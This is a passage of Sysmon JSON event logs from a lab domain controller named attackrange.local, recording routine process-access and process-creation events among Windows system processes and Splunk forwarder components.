Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6938,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6939,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6940,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.854\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-42A3-5F2D-0000-0010C1450B00}\r\nTargetProcessId: 4008\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.854","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-42A3-5F2D-0000-0010C1450B00}","TargetProcessId":"4008","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6941,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:40.216\r\nSourceProcessGUID: {90617006-42A3-5F2D-0000-0010C1450B00}\r\nSourceProcessId: 4008\r\nSourceThreadId: 576\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:40.216","SourceProcessGUID":"{90617006-42A3-5F2D-0000-0010C1450B00}","SourceProcessId":"4008","SourceThreadId":"576","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6942,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:40.745\r\nProcessGuid: {90617006-42A4-5F2D-0000-0010EA470B00}\r\nProcessId: 4020\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Registry monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-regmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:01:40.745","ProcessGuid":"{90617006-42A4-5F2D-0000-0010EA470B00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","FileVersion":"8.0.2","Description":"Registry monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-regmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:01:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6943,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:40.744\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-42A4-5F2D-0000-0010EA470B00}\r\nTargetProcessId: 4020\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:40.744","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-42A4-5F2D-0000-0010EA470B00}","TargetProcessId":"4020","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6944,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:40.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A4-5F2D-0000-0010EA470B00}\r\nTargetProcessId: 4020\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:40.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A4-5F2D-0000-0010EA470B00}","TargetProcessId":"4020","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6945,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:40.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:40.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6946,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:40.744\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:40.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C